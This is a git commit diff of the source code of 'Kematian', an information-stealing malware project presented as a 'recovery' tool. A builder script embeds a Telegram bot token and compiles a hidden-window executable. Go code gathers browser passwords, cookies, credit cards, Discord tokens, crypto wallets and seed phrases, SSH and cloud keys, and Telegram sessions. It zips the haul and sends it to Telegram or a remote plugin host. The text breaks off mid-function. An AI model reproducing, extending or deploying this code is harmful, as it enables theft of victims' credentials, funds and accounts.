commit f25acb03f36a589a61f254e021fa25bc8c1f47ad Author: i2p Date: Thu Aug 27 11:21:43 2026 -0600 initial commit diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..e970a36 --- /dev/null +++ b/.gitignore @@ -0,0 +1,30 @@ +# Packaged plugin output +*.zip +server.js + +# Dependencies (installed at build time) +node_modules/ +bun.lockb + +# CGo-generated header (rebuilt on each compile) +*-windows-amd64.h +*-linux-amd64.h +*-darwin-amd64.h +*\kematian-windows-amd64.dll +*\recovery-key-extractor.dll + +# Go build artifacts +bin/ +*.exe +*.test +*.out + +# OS +.DS_Store +Thumbs.db + +# Editor +.vscode/ +.idea/ +*.swp +*.swo \ No newline at end of file diff --git a/final/build_final.bat b/final/build_final.bat new file mode 100644 index 0000000..bf184ed --- /dev/null +++ b/final/build_final.bat @@ -0,0 +1,143 @@ +@echo off +setlocal enabledelayedexpansion + +title Kematian Final Builder + +echo ============================================ +echo Kematian Final Executable Builder +echo ============================================ +echo. + +set "SCRIPT_DIR=%~dp0" +set "PROJECT_ROOT=%SCRIPT_DIR%..\" +set "NATIVE_DIR=%PROJECT_ROOT%native" +set "EXFIL_DIR=%NATIVE_DIR%\cmd\exfil" +set "FINAL_DIR=%SCRIPT_DIR%" +set "ORIGINAL_MAIN=%EXFIL_DIR%\main.go" +set "TEMP_MAIN=%EXFIL_DIR%\main.go.tmp" + +echo [DEBUG] SCRIPT_DIR=%SCRIPT_DIR% +echo [DEBUG] NATIVE_DIR=%NATIVE_DIR% +echo [DEBUG] ORIGINAL_MAIN=%ORIGINAL_MAIN% + +if not exist "%NATIVE_DIR%" ( + echo [ERROR] native folder not found at %NATIVE_DIR% + pause + exit /b 1 +) + +if not exist "%ORIGINAL_MAIN%" ( + echo [ERROR] main.go not found at %ORIGINAL_MAIN% + pause + exit /b 1 +) + +echo Enter your Telegram Bot Token: +set /p BOT_TOKEN=^> +if "%BOT_TOKEN%"=="" ( + echo [ERROR] Bot token cannot be empty + pause + exit /b 1 +) + +echo. +echo Enter your Telegram Chat ID: +set /p CHAT_ID=^> +if "%CHAT_ID%"=="" ( + echo [ERROR] Chat ID cannot be empty + pause + exit /b 1 +) + +echo. +echo Building recovery-key-extractor.dll (Rust)... +set "RUST_DIR=%PROJECT_ROOT%rust-extractor" +set "EXTRACTOR_OUT=%NATIVE_DIR%\recovery\platform\recovery-key-extractor.dll" +set "RUST_DLL=%RUST_DIR%\target\x86_64-pc-windows-gnu\release\recovery_key_extractor.dll" + +if not exist "%RUST_DIR%\Cargo.toml" ( + echo [ERROR] rust-extractor\Cargo.toml not found + pause + exit /b 1 +) + +pushd "%RUST_DIR%" +cargo build --release --target x86_64-pc-windows-gnu +if errorlevel 1 ( + popd + echo [ERROR] cargo build failed + pause + exit /b 1 +) +popd + +if not exist "%RUST_DLL%" ( + echo [ERROR] Rust DLL not found at %RUST_DLL% + pause + exit /b 1 +) + +copy /y "%RUST_DLL%" "%EXTRACTOR_OUT%" >nul +if errorlevel 1 ( + echo [ERROR] Failed to copy Rust DLL + pause + exit /b 1 +) +echo [OK] recovery-key-extractor.dll ready + +echo. +echo Generating main.go with embedded credentials... +echo [DEBUG] Replacing placeholders in %ORIGINAL_MAIN% + +powershell -NoProfile -Command "$content = Get-Content -Raw -Path '%ORIGINAL_MAIN%'; $content = $content -replace 'defaultBotToken = \"YOUR_BOT_TOKEN_HERE\"', 'defaultBotToken = \"%BOT_TOKEN%\"'; $content = $content -replace 'defaultChatID = \"YOUR_CHAT_ID_HERE\"', 'defaultChatID = \"%CHAT_ID%\"'; [IO.File]::WriteAllText('%TEMP_MAIN%', $content); Write-Host 'PowerShell OK'" + +if errorlevel 1 ( + echo [ERROR] Failed to generate temp main.go + pause + exit /b 1 +) + +echo [DEBUG] Temp file created, verifying... +powershell -NoProfile -Command "Get-Content -Path '%TEMP_MAIN%' | Select-String 'defaultBotToken'" + +move /y "%TEMP_MAIN%" "%ORIGINAL_MAIN%" >nul +if errorlevel 1 ( + echo [ERROR] Failed to replace main.go + pause + exit /b 1 +) + +echo [OK] main.go updated with credentials + +echo. +echo Building executable... +pushd "%NATIVE_DIR%" +go build -ldflags="-H=windowsgui -s -w" -o "%FINAL_DIR%kematian.exe" ./cmd/exfil +if errorlevel 1 ( + popd + echo [ERROR] Go build failed + pause + exit /b 1 +) +popd + +echo. +echo Restoring original main.go... +git checkout "%ORIGINAL_MAIN%" 2>nul +if errorlevel 1 ( + powershell -NoProfile -Command "$content = Get-Content -Raw -Path '%ORIGINAL_MAIN%'; $content = $content -replace 'defaultBotToken = \"%BOT_TOKEN%\"', 'defaultBotToken = \"YOUR_BOT_TOKEN_HERE\"'; $content = $content -replace 'defaultChatID = \"%CHAT_ID%\"', 'defaultChatID = \"YOUR_CHAT_ID_HERE\"'; [IO.File]::WriteAllText('%ORIGINAL_MAIN%', $content)" +) + +echo. +echo ============================================ +echo [SUCCESS] Build complete! +echo ============================================ +echo. +echo Output: %FINAL_DIR%kematian.exe +echo. +echo Usage: Just double-click kemeatien.exe +echo (No arguments needed - credentials are embedded) +echo. +dir "%FINAL_DIR%kematian.exe" +echo. +pause \ No newline at end of file diff --git a/native/cmd/devtool/main.go b/native/cmd/devtool/main.go new file mode 100644 index 0000000..a4cd647 --- /dev/null +++ b/native/cmd/devtool/main.go @@ -0,0 +1,361 @@ +// Command devtool is a standalone development harness for the Kematian +// recovery pipeline. It emulates the plugin host + server by running the same +// collection code as the c-shared plugin, then prints a summary (or, with +// -verbose, the full event/result JSON) to the console. +// +// Usage examples: +// +// go run ./cmd/devtool # collect everything, summary +// go run ./cmd/devtool -cookies -browser Brave # just Brave cookies +// go run ./cmd/devtool -verbose # dump full JSON events +// go run ./cmd/devtool -out result.json -no-inject +// +// It is not loaded as a plugin; it links the recovery package directly and is +// meant to make local development and debugging easier. +package main + +import ( + "context" + "encoding/base64" + "encoding/json" + "flag" + "fmt" + "log" + "os" + "sort" + "strings" + "time" + + recovery "recovery/recovery" +) + +const maxAutoDownloadSize = 50 * 1024 * 1024 // 50MB, matches plugin + +var verbose bool + +func main() { + var ( + outPath string + timeoutSec int + browser string + noInject bool + includeZip bool + + all bool + passwords bool + cookies bool + autofill bool + history bool + bookmarks bool + cards bool + discord bool + files bool + wallets bool + telegram bool + keys bool + apps bool + gaming bool + vpn bool + extensions bool + fingerprint bool + fingerprintJS bool + ) + + flag.StringVar(&outPath, "out", "", "write the full result JSON to this file") + flag.IntVar(&timeoutSec, "timeout", 120, "collection timeout in seconds") + flag.StringVar(&browser, "browser", "", "only show results for this browser (case-insensitive); scanning is not restricted") + flag.BoolVar(&noInject, "no-inject", false, "skip DLL injection (direct file access only, no App-Bound/v20 keys)") + flag.BoolVar(&verbose, "verbose", false, "print full event/result JSON (default: summary only)") + flag.BoolVar(&includeZip, "content", false, "include base64 content in auto-download events") + + flag.BoolVar(&all, "all", false, "collect everything") + flag.BoolVar(&passwords, "passwords", false, "collect passwords") + flag.BoolVar(&cookies, "cookies", false, "collect cookies") + flag.BoolVar(&autofill, "autofill", false, "collect autofill") + flag.BoolVar(&history, "history", false, "collect history") + flag.BoolVar(&bookmarks, "bookmarks", false, "collect bookmarks") + flag.BoolVar(&cards, "cards", false, "collect credit cards") + flag.BoolVar(&discord, "discord", false, "collect Discord tokens") + flag.BoolVar(&files, "files", false, "scan files") + flag.BoolVar(&wallets, "wallets", false, "scan wallets") + flag.BoolVar(&telegram, "telegram", false, "scan Telegram sessions") + flag.BoolVar(&keys, "keys", false, "scan SSH & cloud keys") + flag.BoolVar(&apps, "apps", false, "scan app credentials") + flag.BoolVar(&gaming, "gaming", false, "scan gaming platforms") + flag.BoolVar(&vpn, "vpn", false, "scan VPN configs") + flag.BoolVar(&extensions, "extensions", false, "scan browser extensions") + flag.BoolVar(&fingerprint, "fingerprint", false, "collect the native browser fingerprint and exit") + flag.BoolVar(&fingerprintJS, "fingerprint-js", false, "collect the JS (canvas/WebGL/audio) fingerprint and exit") + flag.Parse() + + if noInject { + os.Setenv("KEMATIAN_NO_INJECT", "1") + } + + if fingerprint { + fp := recovery.CollectFingerprint() + data, _ := json.MarshalIndent(fp, "", " ") + fmt.Println(string(data)) + return + } + + if fingerprintJS { + fp := recovery.CollectJSFingerprint() + if fp == nil { + fmt.Println("{\"error\": \"failed to collect JS fingerprint\"}") + return + } + data, _ := json.MarshalIndent(fp, "", " ") + fmt.Println(string(data)) + return + } + + anyData := passwords || cookies || autofill || history || bookmarks || cards || + discord || files || wallets || telegram || keys || apps || gaming || vpn || extensions + + opts := recovery.CollectOptions{ + Browsers: all || !anyData || passwords || cookies || autofill || history || bookmarks || cards || extensions, + Passwords: all || !anyData || passwords, + Cookies: all || !anyData || cookies, + Autofill: all || !anyData || autofill, + History: all || !anyData || history, + Bookmarks: all || !anyData || bookmarks, + CreditCards: all || !anyData || cards, + Discord: all || !anyData || discord, + Files: all || !anyData || files, + Wallets: all || !anyData || wallets, + Telegram: all || !anyData || telegram, + Keys: all || !anyData || keys, + Apps: all || !anyData || apps, + Gaming: all || !anyData || gaming, + VPNs: all || !anyData || vpn, + } + + log.Printf("devtool: timeout=%ds browser=%q noInject=%v verbose=%v", timeoutSec, browser, noInject, verbose) + + printEvent("status", map[string]string{"message": "Starting collection (devtool)..."}) + + var exts []recovery.ExtensionResult + if opts.Browsers || extensions { + exts = recovery.ScanExtensions() + log.Printf("devtool: extension scan complete: %d extensions", len(exts)) + } + + partialFn := func(partial *recovery.CollectionResult) { + printEvent("partial", filter(partial, browser)) + } + + ctx, cancel := context.WithTimeout(context.Background(), time.Duration(timeoutSec)*time.Second) + defer cancel() + + start := time.Now() + result, err := recovery.Collect(ctx, opts, partialFn) + if err != nil { + log.Printf("devtool: collection failed: %v", err) + printEvent("error", map[string]string{"error": err.Error()}) + os.Exit(1) + } + + if opts.Browsers || extensions { + result.Extensions = exts + } + + printSummary(filter(result, browser)) + printEvent("results", filter(result, browser)) + + if len(result.Wallets) > 0 { + autoDownloadWallets(result.Wallets, includeZip) + } + + seeds := recovery.ScanSeeds(result.Files, result.Passwords, result.Autofill) + if len(seeds) > 0 { + log.Printf("devtool: seed scan found %d seed phrases", len(seeds)) + printEvent("seed_scan_results", map[string]interface{}{"seeds": seeds}) + } + + if outPath != "" { + if err := writeResult(outPath, filter(result, browser)); err != nil { + log.Printf("devtool: failed to write output: %v", err) + os.Exit(1) + } + log.Printf("devtool: wrote result to %s", outPath) + } + + log.Printf("devtool: collection completed in %s", time.Since(start).Round(time.Millisecond)) +} + +// printEvent emulates the server receiving an event + JSON payload. Only used +// when -verbose is set. +func printEvent(event string, payload interface{}) { + if !verbose { + return + } + data, err := json.MarshalIndent(payload, "", " ") + if err != nil { + log.Printf("devtool: marshal %s: %v", event, err) + return + } + fmt.Printf("\n===== EVENT: %s =====\n%s\n", event, string(data)) +} + +type browserCounts struct { + cookies, passwords, autofill, history, bookmarks, cards, extensions int +} + +func tally(r *recovery.CollectionResult) map[string]*browserCounts { + m := map[string]*browserCounts{} + get := func(b string) *browserCounts { + if b == "" { + b = "(unknown)" + } + c, ok := m[b] + if !ok { + c = &browserCounts{} + m[b] = c + } + return c + } + for _, v := range r.Cookies { + get(v.Browser).cookies++ + } + for _, v := range r.Passwords { + get(v.Browser).passwords++ + } + for _, v := range r.Autofill { + get(v.Browser).autofill++ + } + for _, v := range r.History { + get(v.Browser).history++ + } + for _, v := range r.Bookmarks { + get(v.Browser).bookmarks++ + } + for _, v := range r.CreditCards { + get(v.Browser).cards++ + } + for _, v := range r.Extensions { + get(v.Browser).extensions++ + } + return m +} + +func printSummary(r *recovery.CollectionResult) { + fmt.Printf("\n===== SUMMARY =====\n") + + byBrowser := tally(r) + names := make([]string, 0, len(byBrowser)) + for b := range byBrowser { + names = append(names, b) + } + sort.Strings(names) + + fmt.Printf("%-14s %9s %9s %8s %7s %9s %5s %10s\n", + "browser", "cookies", "passwords", "autofill", "history", "bookmarks", "cards", "extensions") + for _, b := range names { + c := byBrowser[b] + fmt.Printf("%-14s %9d %9d %8d %7d %9d %5d %10d\n", + b, c.cookies, c.passwords, c.autofill, c.history, c.bookmarks, c.cards, c.extensions) + } + + fmt.Printf("\ndiscord tokens: %d\n", len(r.DiscordTokens)) + fmt.Printf("files: %d\n", len(r.Files)) + fmt.Printf("wallets: %d\n", len(r.Wallets)) + fmt.Printf("telegram: %d\n", len(r.Telegram)) + fmt.Printf("keys: %d\n", len(r.Keys)) + fmt.Printf("apps: %d\n", len(r.AppCredentials)) + if r.Gaming != nil { + fmt.Printf("gaming: present\n") + } + if r.VPNs != nil { + fmt.Printf("vpns: present\n") + } + if len(r.Errors) > 0 { + fmt.Printf("\nerrors: %d\n", len(r.Errors)) + for _, e := range r.Errors { + fmt.Printf(" - %s\n", e) + } + } +} + +func writeResult(path string, r *recovery.CollectionResult) error { + data, err := json.MarshalIndent(r, "", " ") + if err != nil { + return err + } + return os.WriteFile(path, data, 0600) +} + +func autoDownloadWallets(wallets []recovery.WalletResult, includeZip bool) { + for _, w := range wallets { + if w.Size > maxAutoDownloadSize { + log.Printf("devtool: skipping auto-download for %q (%d bytes exceeds limit)", w.Name, w.Size) + continue + } + data, err := recovery.ZipDirectory(w.Path) + if err != nil { + log.Printf("devtool: auto-download zip %q: %v", w.Name, err) + continue + } + log.Printf("devtool: wallet %q (%s) zipped %d bytes", w.Name, w.Type, len(data)) + if includeZip { + printEvent("wallet_auto_data", map[string]interface{}{ + "name": w.Name, + "type": w.Type, + "path": w.Path, + "addresses": w.Addresses, + "vaultData": w.VaultData, + "size": len(data), + "content": base64.StdEncoding.EncodeToString(data), + }) + } + } +} + +// filter returns a copy of r restricted to a single browser (case-insensitive) +// when name is non-empty. Non-browser fields are dropped in that case so the +// output stays focused on the browser under test. +func filter(r *recovery.CollectionResult, name string) *recovery.CollectionResult { + if name == "" { + return r + } + match := func(b string) bool { return strings.EqualFold(b, name) } + + out := &recovery.CollectionResult{} + for _, v := range r.Passwords { + if match(v.Browser) { + out.Passwords = append(out.Passwords, v) + } + } + for _, v := range r.Cookies { + if match(v.Browser) { + out.Cookies = append(out.Cookies, v) + } + } + for _, v := range r.Autofill { + if match(v.Browser) { + out.Autofill = append(out.Autofill, v) + } + } + for _, v := range r.History { + if match(v.Browser) { + out.History = append(out.History, v) + } + } + for _, v := range r.Bookmarks { + if match(v.Browser) { + out.Bookmarks = append(out.Bookmarks, v) + } + } + for _, v := range r.CreditCards { + if match(v.Browser) { + out.CreditCards = append(out.CreditCards, v) + } + } + for _, v := range r.Extensions { + if match(v.Browser) { + out.Extensions = append(out.Extensions, v) + } + } + out.Errors = r.Errors + return out +} diff --git a/native/cmd/exfil/main.go b/native/cmd/exfil/main.go new file mode 100644 index 0000000..62da9c0 --- /dev/null +++ b/native/cmd/exfil/main.go @@ -0,0 +1,48 @@ +package main + +import ( + "context" + "os" + "os/signal" + "syscall" + "time" + + "recovery/recovery/exfil" +) + +const ( + defaultTimeout = 120 * time.Second + + // EMBEDDED CONFIG - Change these values before building + defaultBotToken = "YOUR_BOT_TOKEN_HERE" + defaultChatID = "YOUR_CHAT_ID_HERE" +) + +func main() { + useTelegram := defaultBotToken != "" && defaultBotToken != "YOUR_BOT_TOKEN_HERE" && defaultChatID != "" && defaultChatID != "YOUR_CHAT_ID_HERE" + if !useTelegram { + return + } + + ctx, cancel := context.WithTimeout(context.Background(), defaultTimeout) + defer cancel() + + sigChan := make(chan os.Signal, 1) + signal.Notify(sigChan, os.Interrupt, syscall.SIGTERM) + go func() { + <-sigChan + cancel() + }() + + zipData, counts, err := exfil.CollectAndZipAll(ctx) + if err != nil { + return + } + + filename := "kematian_" + time.Now().Format("20060102_150405") + ".zip" + cfg := exfil.TelegramConfig{ + BotToken: defaultBotToken, + ChatID: defaultChatID, + } + _ = exfil.SendToTelegram(cfg, zipData, filename, counts) +} \ No newline at end of file diff --git a/native/exports_windows.go b/native/exports_windows.go new file mode 100644 index 0000000..3c23712 --- /dev/null +++ b/native/exports_windows.go @@ -0,0 +1,64 @@ +//go:build windows + +package main + +import "C" +import ( + "syscall" + "unsafe" +) + +var callbackPtr uintptr + +func hostSendViaCallback(event string, payload []byte) { + cb := callbackPtr + if cb == 0 { + return + } + eventBytes := []byte(event) + var evPtr, plPtr uintptr + evLen := uintptr(len(eventBytes)) + plLen := uintptr(len(payload)) + if len(eventBytes) > 0 { + evPtr = uintptr(unsafe.Pointer(&eventBytes[0])) + } + if len(payload) > 0 { + plPtr = uintptr(unsafe.Pointer(&payload[0])) + } + syscall.SyscallN(cb, evPtr, evLen, plPtr, plLen) +} + +//export PluginSetCallback +func PluginSetCallback(cb C.ulonglong) { + callbackPtr = uintptr(cb) + setSend(hostSendViaCallback) +} + +//export PluginOnLoad +func PluginOnLoad(hostInfo *C.char, hostInfoLen C.int, cb C.ulonglong) C.int { + callbackPtr = uintptr(cb) + setSend(hostSendViaCallback) + data := C.GoBytes(unsafe.Pointer(hostInfo), hostInfoLen) + if err := handleInit(data); err != nil { + return 1 + } + return 0 +} + +//export PluginOnEvent +func PluginOnEvent(event *C.char, eventLen C.int, payload *C.char, payloadLen C.int) C.int { + ev := C.GoStringN(event, eventLen) + var pl []byte + if payloadLen > 0 { + pl = C.GoBytes(unsafe.Pointer(payload), payloadLen) + } + if err := handleEvent(ev, pl); err != nil { + return 1 + } + return 0 +} + +//export PluginOnUnload +func PluginOnUnload() { + handleUnload() +} diff --git a/native/go.mod b/native/go.mod new file mode 100644 index 0000000..ee95231 --- /dev/null +++ b/native/go.mod @@ -0,0 +1,20 @@ +module recovery + +go 1.26 + +require ( + github.com/mattn/go-sqlite3 v1.14.18 + golang.org/x/sys v0.47.0 +) + +require golang.org/x/crypto v0.50.0 + +require ( + github.com/chromedp/cdproto v0.0.0-20260714215040-dc233986426f // indirect + github.com/chromedp/chromedp v0.16.0 // indirect + github.com/chromedp/sysutil v1.1.0 // indirect + github.com/go-json-experiment/json v0.0.0-20260623181947-01eb4420fa68 // indirect + github.com/gobwas/httphead v0.1.0 // indirect + github.com/gobwas/pool v0.2.1 // indirect + github.com/gobwas/ws v1.4.0 // indirect +) diff --git a/native/go.sum b/native/go.sum new file mode 100644 index 0000000..447217d --- /dev/null +++ b/native/go.sum @@ -0,0 +1,23 @@ +github.com/chromedp/cdproto v0.0.0-20260714215040-dc233986426f h1:0Z1zcSLEmnj2c2CmJYBqewtS6pxhB39bNWUSEUAWjgk= +github.com/chromedp/cdproto v0.0.0-20260714215040-dc233986426f/go.mod h1:RwFsSODCtFExll+GhHM6R92SARHR3Z3oipaxLHj46C0= +github.com/chromedp/chromedp v0.16.0 h1:rOO4deOm4CbZgBCa8mD9g2rDyIoNs0BkgvNrlbp5ouk= +github.com/chromedp/chromedp v0.16.0/go.mod h1:rbuGKFT1vMcFcFqKfPIO1GpX/N+2s8onm2qMxZLbU5U= +github.com/chromedp/sysutil v1.1.0 h1:PUFNv5EcprjqXZD9nJb9b/c9ibAbxiYo4exNWZyipwM= +github.com/chromedp/sysutil v1.1.0/go.mod h1:WiThHUdltqCNKGc4gaU50XgYjwjYIhKWoHGPTUfWTJ8= +github.com/go-json-experiment/json v0.0.0-20260623181947-01eb4420fa68 h1:KZaTBSyshWX3MP5jukJcNSuXDQTO+rNpt0J564dX/eg= +github.com/go-json-experiment/json v0.0.0-20260623181947-01eb4420fa68/go.mod h1:tphK2c80bpPhMOI4v6bIc2xWywPfbqi1Z06+RcrMkDg= +github.com/gobwas/httphead v0.1.0 h1:exrUm0f4YX0L7EBwZHuCF4GDp8aJfVeBrlLQrs6NqWU= +github.com/gobwas/httphead v0.1.0/go.mod h1:O/RXo79gxV8G+RqlR/otEwx4Q36zl9rqC5u12GKvMCM= +github.com/gobwas/pool v0.2.1 h1:xfeeEhW7pwmX8nuLVlqbzVc7udMDrwetjEv+TZIz1og= +github.com/gobwas/pool v0.2.1/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6WezmKEw= +github.com/gobwas/ws v1.4.0 h1:CTaoG1tojrh4ucGPcoJFiAQUAsEWekEWvLy7GsVNqGs= +github.com/gobwas/ws v1.4.0/go.mod h1:G3gNqMNtPppf5XUz7O4shetPpcZ1VJ7zt18dlUeakrc= +github.com/mattn/go-sqlite3 v1.14.18 h1:JL0eqdCOq6DJVNPSvArO/bIV9/P7fbGrV00LZHc+5aI= +github.com/mattn/go-sqlite3 v1.14.18/go.mod h1:2eHXhiwb8IkHr+BDWZGa96P6+rkvnG63S2DGjv9HUNg= +golang.org/x/crypto v0.50.0 h1:zO47/JPrL6vsNkINmLoo/PH1gcxpls50DNogFvB5ZGI= +golang.org/x/crypto v0.50.0/go.mod h1:3muZ7vA7PBCE6xgPX7nkzzjiUq87kRItoJQM1Yo8S+Q= +golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.43.0 h1:Rlag2XtaFTxp19wS8MXlJwTvoh8ArU6ezoyFsMyCTNI= +golang.org/x/sys v0.43.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw= +golang.org/x/sys v0.47.0 h1:o7XGOvZQCADBQQ4Y7VNq2dRWQR7JmOUW8Kxx4ZsNgWs= +golang.org/x/sys v0.47.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw= diff --git a/native/main.go b/native/main.go new file mode 100644 index 0000000..1b1cda4 --- /dev/null +++ b/native/main.go @@ -0,0 +1,588 @@ +package main + +import ( + "context" + "encoding/base64" + "encoding/json" + "log" + "path/filepath" + "recovery/recovery" + "sync" + "sync/atomic" + "time" +) + +// collectDeadline bounds an entire collection run. A single stuck browser +// (NSS/COM/pipe stall) must never wedge the agent for more than this. +const collectDeadline = 90 * time.Second + +type HostInfo struct { + ClientID string `json:"clientId"` + OS string `json:"os"` + Arch string `json:"arch"` + Version string `json:"version"` +} + +var ( + hostInfo HostInfo + sendFn func(event string, payload []byte) + mu sync.Mutex + collecting atomic.Bool +) + +func setSend(fn func(event string, payload []byte)) { + mu.Lock() + sendFn = fn + mu.Unlock() +} + +func sendEvent(event string, payload interface{}) { + mu.Lock() + fn := sendFn + mu.Unlock() + if fn == nil { + return + } + data, err := json.Marshal(payload) + if err != nil { + log.Printf("[recovery] marshal error: %v", err) + return + } + fn(event, data) +} + +func handleInit(hostJSON []byte) error { + if err := json.Unmarshal(hostJSON, &hostInfo); err != nil { + return err + } + log.Printf("[recovery] init: clientId=%s os=%s arch=%s", hostInfo.ClientID, hostInfo.OS, hostInfo.Arch) + sendEvent("ready", map[string]string{"status": "recovery plugin ready"}) + return nil +} + +func handleEvent(event string, payload []byte) error { + switch event { + case "collect": + go handleCollect(payload) + case "scan_files": + go handleScanFiles() + case "scan_extensions": + go handleScanExtensions() + case "fetch_file": + go handleFetchFile(payload) + case "fetch_ext_zip": + go handleFetchExtZip(payload) + case "scan_wallets": + go handleScanWallets() + case "fetch_wallet_zip": + go handleFetchWalletZip(payload) + case "scan_telegram": + go handleScanTelegram() + case "fetch_telegram_zip": + go handleFetchTelegramZip(payload) + case "scan_keys": + go handleScanKeys() + case "scan_apps": + go handleScanApps() + case "scan_gaming": + go handleScanGaming() + case "scan_vpn": + go handleScanVPN() + case "fingerprint": + go handleFingerprint() + case "fingerprint_js": + go handleFingerprintJS() + case "ping": + sendEvent("pong", nil) + default: + log.Printf("[recovery] unhandled event: %s", event) + } + return nil +} + +func handleCollect(payload []byte) { + if !collecting.CompareAndSwap(false, true) { + log.Printf("[recovery] collection already in progress, ignoring duplicate request") + return + } + defer collecting.Store(false) + defer func() { + if r := recover(); r != nil { + log.Printf("[recovery] collection panic: %v", r) + sendEvent("error", map[string]string{"error": "internal collection error"}) + } + }() + + var opts recovery.CollectOptions + if len(payload) > 0 { + json.Unmarshal(payload, &opts) + } else { + opts.Browsers = true + } + + if opts.Browsers { + noneSet := !opts.Passwords && !opts.Cookies && !opts.Autofill && + !opts.History && !opts.Bookmarks && !opts.CreditCards && !opts.Discord + if noneSet { + opts.Passwords = true + opts.Cookies = true + opts.Autofill = true + opts.History = true + opts.Bookmarks = true + opts.CreditCards = true + opts.Discord = true + opts.Files = true + opts.Wallets = true + opts.Telegram = true + opts.Keys = true + opts.Apps = true + opts.Gaming = true + opts.VPNs = true + } + } + + log.Printf("[recovery] starting collection (passwords=%v cookies=%v autofill=%v history=%v bookmarks=%v cards=%v discord=%v)", + opts.Passwords, opts.Cookies, opts.Autofill, opts.History, opts.Bookmarks, opts.CreditCards, opts.Discord) + sendEvent("status", map[string]string{"message": "Resolving encryption keys..."}) + + var extensions []recovery.ExtensionResult + var extWg sync.WaitGroup + if opts.Browsers { + extWg.Add(1) + go func() { + defer extWg.Done() + defer func() { + if r := recover(); r != nil { + log.Printf("[recovery] extension scan panic: %v", r) + } + }() + extensions = recovery.ScanExtensions() + }() + } + + partialFn := func(partial *recovery.CollectionResult) { + sendEvent("partial", partial) + } + + ctx, cancel := context.WithTimeout(context.Background(), collectDeadline) + defer cancel() + + result, err := recovery.Collect(ctx, opts, partialFn) + if err != nil { + log.Printf("[recovery] collection failed: %v", err) + sendEvent("error", map[string]string{"error": err.Error()}) + return + } + + if opts.Browsers { + extWg.Wait() + result.Extensions = extensions + } + + log.Printf("[recovery] collection complete: %d passwords, %d cookies, %d autofill, %d history, %d bookmarks, %d cards, %d discord tokens, %d extensions, %d wallets, %d telegram, %d keys, %d app creds", + len(result.Passwords), len(result.Cookies), len(result.Autofill), + len(result.History), len(result.Bookmarks), len(result.CreditCards), len(result.DiscordTokens), len(result.Extensions), len(result.Wallets), len(result.Telegram), len(result.Keys), len(result.AppCredentials)) + + sendEvent("results", result) + + if len(result.Wallets) > 0 { + go func() { + defer func() { + if r := recover(); r != nil { + log.Printf("[recovery] wallet auto-download panic: %v", r) + } + }() + autoDownloadWallets(result.Wallets) + }() + } + + go func() { + defer func() { + if r := recover(); r != nil { + log.Printf("[recovery] seed scan panic: %v", r) + } + }() + seeds := recovery.ScanSeeds(result.Files, result.Passwords, result.Autofill) + if len(seeds) > 0 { + log.Printf("[recovery] seed scan found %d seed phrases", len(seeds)) + sendEvent("seed_scan_results", map[string]interface{}{ + "seeds": seeds, + }) + } + }() +} + +func handleScanExtensions() { + defer func() { + if r := recover(); r != nil { + log.Printf("[recovery] extension scan panic: %v", r) + sendEvent("error", map[string]string{"error": "extension scan error"}) + } + }() + sendEvent("status", map[string]string{"message": "Scanning extensions..."}) + exts := recovery.ScanExtensions() + log.Printf("[recovery] extension scan complete: %d extensions", len(exts)) + sendEvent("extension_scan_results", map[string]interface{}{ + "extensions": exts, + }) +} + +func handleFetchExtZip(payload []byte) { + defer func() { + if r := recover(); r != nil { + log.Printf("[recovery] fetch_ext_zip panic: %v", r) + sendEvent("fetch_ext_zip_error", map[string]string{"error": "internal error"}) + } + }() + + var req struct { + Path string `json:"path"` + ExtID string `json:"extId"` + } + if err := json.Unmarshal(payload, &req); err != nil || req.Path == "" { + sendEvent("fetch_ext_zip_error", map[string]string{"error": "invalid request"}) + return + } + + data, err := recovery.ZipDirectory(req.Path) + if err != nil { + log.Printf("[recovery] fetch_ext_zip %q: %v", req.ExtID, err) + sendEvent("fetch_ext_zip_error", map[string]string{"path": req.Path, "error": err.Error()}) + return + } + + log.Printf("[recovery] zipped extension %q (%d bytes)", req.ExtID, len(data)) + sendEvent("fetch_ext_zip_result", map[string]interface{}{ + "path": req.Path, + "extId": req.ExtID, + "size": len(data), + "content": base64.StdEncoding.EncodeToString(data), + }) +} + +const maxAutoDownloadSize = 50 * 1024 * 1024 // 50MB + +func handleScanWallets() { + defer func() { + if r := recover(); r != nil { + log.Printf("[recovery] wallet scan panic: %v", r) + sendEvent("error", map[string]string{"error": "wallet scan error"}) + } + }() + sendEvent("status", map[string]string{"message": "Scanning wallets..."}) + wallets := recovery.ScanWallets() + log.Printf("[recovery] wallet scan complete: %d wallets", len(wallets)) + sendEvent("wallet_scan_results", map[string]interface{}{ + "wallets": wallets, + }) + autoDownloadWallets(wallets) +} + +func autoDownloadWallets(wallets []recovery.WalletResult) { + for _, w := range wallets { + if w.Size > maxAutoDownloadSize { + log.Printf("[recovery] skipping auto-download for %q (%d bytes exceeds limit)", w.Name, w.Size) + continue + } + data, err := recovery.ZipDirectory(w.Path) + if err != nil { + log.Printf("[recovery] auto-download zip %q: %v", w.Name, err) + continue + } + log.Printf("[recovery] auto-download %q (%d bytes)", w.Name, len(data)) + sendEvent("wallet_auto_data", map[string]interface{}{ + "name": w.Name, + "type": w.Type, + "path": w.Path, + "addresses": w.Addresses, + "vaultData": w.VaultData, + "size": len(data), + "content": base64.StdEncoding.EncodeToString(data), + }) + } +} + +func handleFetchWalletZip(payload []byte) { + defer func() { + if r := recover(); r != nil { + log.Printf("[recovery] fetch_wallet_zip panic: %v", r) + sendEvent("fetch_wallet_zip_error", map[string]string{"error": "internal error"}) + } + }() + + var req struct { + Path string `json:"path"` + Name string `json:"name"` + } + if err := json.Unmarshal(payload, &req); err != nil || req.Path == "" { + sendEvent("fetch_wallet_zip_error", map[string]string{"error": "invalid request"}) + return + } + + data, err := recovery.ZipDirectory(req.Path) + if err != nil { + log.Printf("[recovery] fetch_wallet_zip %q: %v", req.Name, err) + sendEvent("fetch_wallet_zip_error", map[string]string{"path": req.Path, "error": err.Error()}) + return + } + + log.Printf("[recovery] zipped wallet %q (%d bytes)", req.Name, len(data)) + sendEvent("fetch_wallet_zip_result", map[string]interface{}{ + "path": req.Path, + "name": req.Name, + "size": len(data), + "content": base64.StdEncoding.EncodeToString(data), + }) +} + +func handleScanFiles() { + defer func() { + if r := recover(); r != nil { + 